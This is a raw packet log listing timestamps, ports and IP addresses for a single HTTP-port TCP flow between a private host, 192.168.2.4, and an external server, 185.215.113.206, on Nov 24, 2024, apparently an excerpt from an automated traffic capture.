Nov 24, 2024 02:13:27.842750072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.842796087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.843355894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.843404055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.843462944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.843509912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.844183922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.844237089 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.844280958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.844326973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.844994068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.845041037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.845078945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.845118046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.845807076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.845855951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.845912933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.845957994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.846637964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.846685886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.846730947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.846782923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.847471952 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.847515106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.847578049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.847623110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.848295927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.848344088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.848423004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.848469019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.849052906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.849103928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.007517099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.007636070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.007672071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.007694006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.007926941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.007977009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.008023024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.008069992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.008749962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.008799076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.008843899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.008891106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.009556055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.009605885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.009690046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.009737015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.010394096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.010445118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.010488987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.010535002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.011192083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.011240959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.011286020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.011329889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.012008905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.012057066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.012096882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.012144089 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.012845993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.012902021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.012948990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.012995958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.013667107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.013716936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.013761044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.013808012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.014471054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.014518976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.014586926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.014638901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.015292883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.015341997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.015381098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.015430927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.016118050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.016165972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.016222954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.016272068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.016941071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.016990900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.017062902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.017111063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.017771006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.017819881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.017863035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.017910004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.018579960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.018632889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.018670082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.018717051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.019407034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.019455910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.019510984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.019558907 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.020225048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.020273924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.020292044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.020338058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.021044970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.021094084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.021137953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.021214008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.021869898 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.021923065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.021967888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.022016048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.022689104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.022738934 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.022803068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.022850037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.023499012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.023600101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.023636103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.023684025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.024355888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.024441957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.024446964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.024492025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.025139093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.025187969 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.025240898 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.025291920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.025960922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.026010036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.026055098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.026103020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.026757002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.026806116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.026876926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.026926994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.027599096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.027648926 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.027692080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.027738094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.028450012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.028505087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.028548956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.028594971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.029253006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.029301882 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.029340029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.029385090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.030071020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.030121088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.030157089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.030203104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.030874014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.030920982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.030986071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.031039000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.031708002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.031755924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.031791925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.031837940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.032514095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.032565117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.032610893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.032659054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.033349991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.033400059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.033418894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.033463955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.034162998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.034212112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.034255028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.034296036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.034970999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.035016060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.035065889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.035113096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.035804033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.035851955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.035896063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.035943031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.036627054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.036675930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.036720037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.036767960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.037436008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.037480116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.037530899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.037580013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.038259029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.038306952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.038458109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.038505077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.039077997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.039125919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.039459944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.039508104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.039901972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.039949894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.040021896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.040071011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.040718079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.040766954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.040785074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.040827990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.041536093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.041584015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.041637897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.041686058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.042356968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.042402983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.042447090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.042493105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.043173075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.043222904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.043287992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.043340921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.044007063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.044058084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.044121981 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.044167995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.044810057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.044855118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.044908047 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.044985056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.045636892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.045686007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.045730114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.045778990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.046459913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.046510935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.046566010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.046607971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.047293901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.047338009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.047384977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.047430992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.048091888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.048137903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.048181057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.048224926 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.048932076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.048980951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.049024105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.049069881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.049740076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.049789906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.049854994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.049902916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.050514936 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.050560951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.209105015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.209171057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.209230900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.209281921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.209443092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.209487915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.209533930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.209579945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.210262060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.210311890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.210355043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.210418940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.211112022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.211160898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.211209059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.211245060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.211925983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.211977005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.212023973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.212115049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.212750912 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.212800980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.212848902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.212892056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.213579893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.213628054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.213673115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.213721991 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.214370012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.214411020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.214418888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.214457989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.215177059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.215226889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.215291023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.215353012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.216017008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.216064930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.216103077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.216145992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.216826916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.216872931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.216938972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.217008114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.217639923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.217710972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.217751026 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.217796087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.218472958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.218522072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.218569994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.218615055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.219285011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.219336033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.219374895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.219424009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.220113039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.220175028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.220181942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.220227003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.220932007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.220978975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.221024036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.221072912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.221733093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.221779108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.221832037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.221879959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.222556114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.222614050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.222660065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.222706079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.223398924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.223448992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.223491907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.223540068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.224204063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.224252939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.224258900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.224308968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.225039005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.225087881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.225131989 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.225177050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.225893021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.225953102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.225992918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.226037025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.226725101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.226790905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.226820946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.226867914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.227511883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.227559090 CET	49748	80	192.168.2.4	185.215.113.206
